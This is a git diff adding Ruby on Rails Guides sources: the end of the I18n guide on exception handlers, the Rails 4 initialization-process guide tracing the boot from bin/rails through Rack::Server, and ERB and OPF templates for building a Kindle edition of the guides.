+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with +#call+ method:
+
+<ruby>
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslation)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+</ruby>
+
+This would re-raise only the +MissingTranslationData+ exception, passing all other input to the default exception handler.
+
+However, if you are using +I18n::Backend::Pluralization+ this handler will also raise +I18n::MissingTranslationData: translation missing: en.i18n.plural.rule+ exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+
+<ruby>
+if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+</ruby>
+
+Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
+
+To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
+
+<ruby>
+I18n.t :foo, :raise => true # always re-raises exceptions from the backend
+</ruby>
+
+h3. Conclusion
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
+
+
+h3. Contributing to Rails I18n
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
+
+If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
+
+
+h3. Resources
+
+* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
+* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
+* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
+* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
+* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
+* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
+
+
+h3. Authors
+
+* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
+* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
+
+If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
+
+
+h3. Footnotes
+
+fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
new file mode 100644
index 0000000000..74805b2754
--- /dev/null
+++ b/guides/source/index.html.erb
@@ -0,0 +1,30 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<% content_for :header_section do %>
+<%= render 'welcome' %>
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+  <dl>
+    <dd class="kindle">Rails Guides are also available for the <%= link_to 'Kindle', 'https://kindle.amazon.com' %>
+and <%= link_to 'Free Kindle Reading Apps', 'http://www.amazon.com/gp/kindle/kcp' %> for the iPad,
+iPhone, Mac, Android, etc. Download them from <%= link_to 'here', @mobi %>.
+    </dd>
+    <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
+  </dl>
+</div>
+<% end %>
+
+<% documents_by_section.each do |section| %>
+  <h3><%= section['name'] %></h3>
+  <dl>
+    <% section['documents'].each do |document| %>
+      <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %>
+        <p><%= document['description'] %></p>
+      <% end %>
+    <% end %>
+  </dl>
+<% end %>
diff --git a/guides/source/initialization.textile b/guides/source/initialization.textile
new file mode 100644
index 0000000000..b23f31cb1a
--- /dev/null
+++ b/guides/source/initialization.textile
@@ -0,0 +1,666 @@
+h2. The Rails Initialization Process
+
+This guide explains the internals of the initialization process in Rails
+as of Rails 4. It is an extremely in-depth guide and recommended for advanced Rails developers.
+
+* Using +rails server+
+
+endprologue.
+
+This guide goes through every method call that is
+required to boot up the Ruby on Rails stack for a default Rails 4
+application, explaining each part in detail along the way. For this
+guide, we will be focusing on what happens when you execute +rails
+server+ to boot your app.
+
+NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
+
+TIP: If you want to follow along while browsing the Rails "source
+code":https://github.com/rails/rails, we recommend that you use the +t+
+key binding to open the file finder inside GitHub and find files
+quickly.
+
+h3. Launch!
+
+A Rails application is usually started with the command +rails server+.
+
+h4. +bin/rails+
+
+The actual +rails+ command is kept in _bin/rails_:
+
+<ruby>
+#!/usr/bin/env ruby
+
+if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
+  railties_path = File.expand_path('../../lib', __FILE__)
+  $:.unshift(railties_path)
+end
+require "rails/cli"
+</ruby>
+
+This file will first attempt to push the +railties/lib+ directory if
+present, and then requires +rails/cli+.
+
+h4. +railties/lib/rails/cli.rb+
+
+This file looks like this:
+
+<ruby>
+require 'rbconfig'
+require 'rails/script_rails_loader'
+
+# If we are inside a Rails application this method performs an exec and thus
+# the rest of this script is not run.
+Rails::ScriptRailsLoader.exec_script_rails!
+
+require 'rails/ruby_version_check'
+Signal.trap("INT") { puts; exit(1) }
+
+if ARGV.first == 'plugin'
+  ARGV.shift
+  require 'rails/commands/plugin_new'
+else
+  require 'rails/commands/application'
+end
+</ruby>
+
+The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+.
+
+<ruby>
+require 'pathname'
+
+module Rails
+  module ScriptRailsLoader
+    RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
+    SCRIPT_RAILS = File.join('script', 'rails')
+    ...
+
+  end
+end
+</ruby>
+
+The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
+
+Back in +rails/cli+, the next line is this:
+
+<ruby>
+Rails::ScriptRailsLoader.exec_script_rails!
+</ruby>
+
+This method is defined in +rails/script_rails_loader+:
+
+<ruby>
+def self.exec_script_rails!
+  cwd = Dir.pwd
+  return unless in_rails_application? || in_rails_application_subdirectory?
+  exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
+  Dir.chdir("..") do
+    # Recurse in a chdir block: if the search fails we want to be sure
+    # the application is generated in the original working directory.
+    exec_script_rails! unless cwd == Dir.pwd
+  end
+rescue SystemCallError
+  # could not chdir, no problem just return
+end
+</ruby>
+
+This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method:
+
+<ruby>
+def self.in_rails_application?
+  File.exists?(SCRIPT_RAILS)
+end
+</ruby>
+
+The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used:
+
+<ruby>
+def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
+  File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
+end
+</ruby>
+
+This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run:
+
+<ruby>
+exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
+</ruby>
+
+This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server".
+
+h3. Rails Initialization
+
+Only now we finally start the real initialization process, beginning
+with +script/rails+.
+
+TIP: If you execute +script/rails+ directly from your Rails app you will
+skip executing all the code that we've just described.
+
+h4. +script/rails+
+
+This file is as follows:
+
+<ruby>
+APP_PATH = File.expand_path('../../config/application',  __FILE__)
+require File.expand_path('../../config/boot',  __FILE__)
+require 'rails/commands'
+</ruby>
+
+The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
+
+h4. +config/boot.rb+
+
++config/boot.rb+ contains:
+
+<ruby>
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+</ruby>
+
+In a standard Rails application, there's a +Gemfile+ which declares all
+dependencies of the application. +config/boot.rb+ sets
++ENV['BUNDLE_GEMFILE']+ to the location of this file. If the Gemfile
+exists, +bundler/setup+ is then required.
+
+The gems that a Rails 4 application depends on are as follows:
+
+TODO: change these when the Rails 4 release is near.
+
+* abstract (1.0.0)
+* actionmailer (4.0.0.beta)
+* actionpack (4.0.0.beta)
+* activemodel (4.0.0.beta)
+* activerecord (4.0.0.beta)
+* activesupport (4.0.0.beta)
+* arel (2.0.7)
+* builder (3.0.0)
+* bundler (1.0.6)
+* erubis (2.6.6)
+* i18n (0.5.0)
+* mail (2.2.12)
+* mime-types (1.16)
+* polyglot (0.3.1)
+* rack (1.2.1)
+* rack-cache (0.5.3)
+* rack-mount (0.6.13)
+* rack-test (0.5.6)
+* rails (4.0.0.beta)
+* railties (4.0.0.beta)
+* rake (0.8.7)
+* sqlite3-ruby (1.3.2)
+* thor (0.14.6)
+* treetop (1.4.9)
+* tzinfo (0.3.23)
+
+h4. +rails/commands.rb+
+
+Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
+
+<ruby>
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+</ruby>
+
+TIP: As you can see, an empty ARGV list will make Rails show the help
+snippet.
+
+If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code:
+
+<ruby>
+when 'server'
+  # Change to the application's path if there is no config.ru file in current dir.
+  # This allows us to run script/rails server from other directories, but still get
+  # the main config.ru and properly set the tmp directory.
+  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+
+  require 'rails/commands/server'
+  Rails::Server.new.tap { |server|
+    # We need to require application after the server sets environment,
+    # otherwise the --environment option given to the server won't propagate.
+    require APP_PATH
+    Dir.chdir(Rails.application.root)
+    server.start
+  }
+</ruby>
+
+This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which sets up the +Rails::Server+ class.
+
+<ruby>
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+
+module Rails
+  class Server < ::Rack::Server
+</ruby>
+
++fileutils+ and +optparse+ are standard Ruby libraries which provide helper functions for working with files and parsing options.
+
+h4. +actionpack/lib/action_dispatch.rb+
+
+Action Dispatch is the routing component of the Rails framework.
+It adds functionalities like routing, session, and common middlewares.
+
+h4. +rails/commands/server.rb+
+
+The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
+
+<ruby>
+def initialize(*)
+  super
+  set_environment
+end
+</ruby>
+
+Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
+
+h4. Rack: +lib/rack/server.rb+
+
++Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
+
+The +initialize+ method in +Rack::Server+ simply sets a couple of variables:
+
+<ruby>
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+</ruby>
+
+In this case, +options+ will be +nil+ so nothing happens in this method.
+
+After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance:
+
+<ruby>
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+</ruby>
+
+In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this:
+
+<ruby>
+def options
+  @options ||= parse_options(ARGV)
+end
+</ruby>
+
+Then +parse_options+ is defined like this:
+
+<ruby>
+def parse_options(args)
+  options = default_options
+
+  # Don't evaluate CGI ISINDEX parameters.
+  # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse! args
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+</ruby>
+
+With the +default_options+ set to this:
+
+<ruby>
+def default_options
+  {
+    :environment => ENV['RACK_ENV'] || "development",
+    :pid         => nil,
+    :Port        => 9292,
+    :Host        => "0.0.0.0",
+    :AccessLog   => [],
+    :config      => "config.ru"
+  }
+end
+</ruby>
+
+There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+
+
+<ruby>
+def opt_parser
+  Options.new
+end
+</ruby>
+
+The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this:
+
+<ruby>
+def parse!(args)
+  args, options = args.dup, {}
+
+  opt_parser = OptionParser.new do |opts|
+    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+    opts.on("-p", "--port=port", Integer,
+            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+  ...
+</ruby>
+
+This method will set up keys for the +options+ which Rails will then be
+able to use to determine how its server should run. After +initialize+
+has finished, we jump back into +rails/server+ where +APP_PATH+ (which was
+set earlier) is required.
+
+h4. +config/application+
+
+When +require APP_PATH+ is executed, +config/application.rb+ is loaded.
+This file exists in your app and it's free for you to change based
+on your needs.
+
+h4. +Rails::Server#start+
+
+After +congif/application+ is loaded, +server.start+ is called. This method is defined like this:
+
+<ruby>
+def start
+  url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
+  puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+  puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
+  puts "=> Call with -d to detach" unless options[:daemonize]
+  trap(:INT) { exit }
+  puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+
+  #Create required tmp directories if not found
+  %w(cache pids sessions sockets).each do |dir_to_make|
+    FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+  end
+
+  unless options[:daemonize]
+    wrapped_app # touch the app so the logger is set up
+
+    console = ActiveSupport::Logger.new($stdout)
+    console.formatter = Rails.logger.formatter
+
+    Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+  end
+
+  super
+ensure
+  # The '-h' option calls exit before @options is set.
+  # If we call 'options' with it unset, we get double help banners.
+  puts 'Exiting' unless @options && options[:daemonize]
+end
+</ruby>
+
+This is where the first output of the Rails initialization happens. This
+method creates a trap for +INT+ signals, so if you +CTRL-C+ the server,
+it will exit the process. As we can see from the code here, it will
+create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+
+directories. It then calls +wrapped_app+ which is responsible for
+creating the Rack app, before creating and assigning an
+instance of +ActiveSupport::Logger+.
+
+The +super+ method will call +Rack::Server.start+ which begins its definition like this:
+
+<ruby>
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # Touch the wrapped app, so that the config.ru is loaded before
+  # daemonization (i.e. before chdir, etc).
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+</ruby>
+
+The interesting part for a Rails app is the last line, +server.run+. Here we encounter the +wrapped_app+ method again, which this time
+we're going to explore more (even though it was executed before, and
+thus memorized by now).
+
+<ruby>
+@wrapped_app ||= build_app app
+</ruby>
+
+The +app+ method here is defined like so:
+
+<ruby>
+def app
+  @app ||= begin
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+end
+</ruby>
+
+The +options[:config]+ value defaults to +config.ru+ which contains this:
+
+<ruby>
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment',  __FILE__)
+run <%= app_const %>
+</ruby>
+
+
+The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
+
+<ruby>
+app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
+    TOPLEVEL_BINDING, config
+</ruby>
+
+The +initialize+ method of +Rack::Builder+ will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
+
+<ruby>
+require ::File.expand_path('../config/environment',  __FILE__)
+</ruby>
+
+h4. +config/environment.rb+
+
+This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
+
+This file begins with requiring +config/application.rb+.
+
+h4. +config/application.rb+
+
+This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger.
+
+Then the fun begins!
+
+h3. Loading Rails
+
+The next line in +config/application.rb+ is:
+
+<ruby>
+require 'rails/all'
+</ruby>
+
+h4. +railties/lib/rails/all.rb+
+
+This file is responsible for requiring all the individual frameworks of Rails:
+
+<ruby>
+require "rails"
+
+%w(
+    active_record
+    action_controller
+    action_mailer
+    rails/test_unit
+    sprockets/rails
+).each do |framework|
+  begin
+    require "#{framework}/railtie"
+  rescue LoadError
+  end
+end
+</ruby>
+
+This is where all the Rails frameworks are loaded and thus made
+available to the application. We won't go into detail of what happens
+inside each of those frameworks, but you're encouraged to try and
+explore them on your own.
+
+For now, just keep in mind that common functionality like Rails engines,
+I18n and Rails configuration is all being defined here.
+
+h4. Back to +config/environment.rb+
+
+When +config/application.rb+ has finished loading Rails, and defined
+your application namespace, you go back to +config/environment.rb+,
+where your application is initialized. For example, if you application was called
++Blog+, here you would find +Blog::Application.initialize!+, which is
+defined in +rails/application.rb+
+
+h4. +railties/lib/rails/application.rb+
+
+The +initialize!+ method looks like this:
+
+<ruby>
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+</ruby>
+
+As you can see, you can only initialize an app once. This is also where the initializers are run.
+
+TODO: review this
+
+The initializers code itself is tricky. What Rails is doing here is it
+traverses all the class ancestors looking for an +initializers+ method,
+sorting them and running them. For example, the +Engine+ class will make
+all the engines available by providing the +initializers+ method.
+
+After this is done we go back to +Rack::Server+
+
+h4. Rack: lib/rack/server.rb
+
+Last time we left when the +app+ method was being defined:
+
+<ruby>
+def app
+  @app ||= begin
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+end
+</ruby>
+
+At this point +app+ is the Rails app itself (a middleware), and what
+happens next is Rack will call all the provided middlewares:
+
+<ruby>
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+</ruby>
+
+Remember, +build_app+ was called (by wrapped_app) in the last line of +Server#start+.
+Here's how it looked like when we left:
+
+<ruby>
+server.run wrapped_app, options, &blk
+</ruby>
+
+At this point, the implementation of +server.run+ will depend on the
+server you're using. For example, if you were using Mongrel, here's what
+the +run+ method would look like:
+
+<ruby>
+def self.run(app, options={})
+  server = ::Mongrel::HttpServer.new(
+    options[:Host]           || '0.0.0.0',
+    options[:Port]           || 8080,
+    options[:num_processors] || 950,
+    options[:throttle]       || 0,
+    options[:timeout]        || 60)
+  # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+  # Use is similar to #run, replacing the app argument with a hash of
+  # { path=>app, ... } or an instance of Rack::URLMap.
+  if options[:map]
+    if app.is_a? Hash
+      app.each do |path, appl|
+        path = '/'+path unless path[0] == ?/
+        server.register(path, Rack::Handler::Mongrel.new(appl))
+      end
+    elsif app.is_a? URLMap
+      app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+       next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+       path = '/'+path unless path[0] == ?/
+       server.register(path, Rack::Handler::Mongrel.new(appl))
+      end
+    else
+      raise ArgumentError, "first argument should be a Hash or URLMap"
+    end
+  else
+    server.register('/', Rack::Handler::Mongrel.new(app))
+  end
+  yield server  if block_given?
+  server.run.join
+end
+</ruby>
+
+We won't dig into the server configuration itself, but this is
+the last piece of our journey in the Rails initialization process.
+
+This high level overview will help you understand when your code is
+executed and how, and overall become a better Rails developer. If you
+still want to know more, the Rails source code itself is probably the
+best place to go next.
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
new file mode 100644
index 0000000000..08937e053e
--- /dev/null
+++ b/guides/source/kindle/KINDLE.md
@@ -0,0 +1,26 @@
+# Rails Guides on the Kindle
+
+
+## Synopsis
+
+  1. Obtain `kindlegen` from the link below and put the binary in your path
+  2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
+  3. Copy `output/kindle/rails_guides.mobi` to your Kindle
+
+## Resources
+
+  * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
+  * Example Periodical [.ncx](https://gist.github.com/808c971ed087b839d462) and [.opf](https://gist.github.com/d6349aa8488eca2ee6d0)
+  * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
+  * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) 
+
+## TODO
+
+### Post release
+
+  * Integrate generated Kindle document into published HTML guides
+  * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
+  * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
+  * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
+  * `.epub` generation.
+
diff --git a/guides/source/kindle/copyright.html.erb b/guides/source/kindle/copyright.html.erb
new file mode 100644
index 0000000000..bd51d87383
--- /dev/null
+++ b/guides/source/kindle/copyright.html.erb
@@ -0,0 +1 @@
+<%= render 'license' %>
\ No newline at end of file
diff --git a/guides/source/kindle/layout.html.erb b/guides/source/kindle/layout.html.erb
new file mode 100644
index 0000000000..f0a286210b
--- /dev/null
+++ b/guides/source/kindle/layout.html.erb
@@ -0,0 +1,27 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" />
+
+</head>
+<body class="guide">
+
+  <% if content_for? :header_section %>
+    <%= yield :header_section %>
+    <div class="pagebreak">
+  <% end %>
+
+  <% if content_for? :index_section %>
+    <%= yield :index_section %>
+    <div class="pagebreak">
+  <% end %>
+
+  <%= yield.html_safe %>
+</body>
+</html>
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
new file mode 100644
index 0000000000..4e07664fd0
--- /dev/null
+++ b/guides/source/kindle/rails_guides.opf.erb
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides">
+<metadata>
+  <meta name="cover" content="cover" />
+  <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
+
+  	<dc:title>Ruby on Rails Guides (<%= @version %>)</dc:title>
+
+  	<dc:language>en-us</dc:language>
+  	<dc:creator>Ruby on Rails</dc:creator>
+  	<dc:publisher>Ruby on Rails</dc:publisher>
+  	<dc:subject>Reference</dc:subject>
+  	<dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date>
+
+    <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description>
+  </dc-metadata>
+  <x-metadata>
+    <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/>
+  </x-metadata>
+</metadata>
+
+<manifest>
+  <!-- HTML content files [mandatory] -->
+  <% documents_flat.each do |document| %>
+    <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
+  <% end %>
+
+  <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
+    <item id="<%= url %>" media-type="text/html" href="<%= url %>" />
+  <% end %>
+
+  <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" />
+
+  <item id="cover" media-type="image/jpeg" href="images/rails_guides_kindle_cover.jpg"/>
+</manifest>
+
+<spine toc="toc">
+  <itemref idref="toc.html" />
+  <itemref idref="welcome.html" />
+  <itemref idref="credits.html" />
+  <itemref idref="copyright.html" />
+  <% documents_flat.each do |document| %>
+    <itemref idref="<%= document['url'] %>" />
+  <% end %>
+</spine>
+
+<guide>
+	<reference type="toc" title="Table of Contents" href="toc.html"></reference>
+</guide>
+
+</package>
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
new file mode 100644
index 0000000000..e013797dee
--- /dev/null
+++ b/guides/source/kindle/toc.html.erb
@@ -0,0 +1,24 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
+<h1>Table of Contents</h1>
+<div id="toc">
+  <ul><li><a href="welcome.html">Welcome</a></li></ul>
+<% documents_by_section.each_with_index do |section, i| %>
+  <h3><%= "#{i + 1}." %> <%= section['name'] %></h3>
+  <ul>
+    <% section['documents'].each do |document| %>
+      <li>
+        <a href="<%= document['url'] %>"><%= document['name'] %></a>
+        <% if document['work_in_progress']%>(WIP)<% end %>
+      </li>
+    <% end %>
+  </ul>  
+<% end %>
+<hr />
+<ul>
+  <li><a href="credits.html">Credits</a></li>
+  <li><a href="copyright.html">Copyright &amp; License</a></li>
+<ul>
+</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb
new file mode 100644
index 0000000000..2c6d8e3bdf
--- /dev/null
+++ b/guides/source/kindle/toc.ncx.erb
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN"
+	"http://www.daisy.org/z3986/2005/ncx-2005-1.dtd">
+
+<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US">
+<head>
+  <meta name="dtb:uid" content="RailsGuides"/>
+  <meta name="dtb:depth" content="2"/>
+  <meta name="dtb:totalPageCount" content="0"/>
+  <meta name="dtb:maxPageNumber" content="0"/>
+</head>
+<docTitle><text>Ruby on Rails Guides</text></docTitle>
